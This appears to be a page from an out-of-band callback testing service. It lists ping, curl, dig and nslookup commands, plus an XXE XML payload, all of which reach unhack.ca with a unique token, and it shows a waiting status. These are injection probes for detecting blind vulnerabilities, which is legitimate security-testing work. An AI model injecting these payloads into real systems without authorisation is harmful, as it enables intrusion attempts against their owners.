$ ping -c1 -p 00d9cc1333a2d239259dc0302502dc00 unhack.ca
 
$ curl http://unhack.ca/p/d9cc1333a2d239259dc0302502dc
 
$ dig d9cc1333a2d239259dc0302502dc @unhack.ca
 
$ dig d9cc1333a2d239259dc0302502dc.ns.unhack.ca
 
C:\> nslookup d9cc1333a2d239259dc0302502dc unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d9cc1333a2d239259dc0302502dc">]>
    <foo>&xxe;</foo>
Waiting for ping...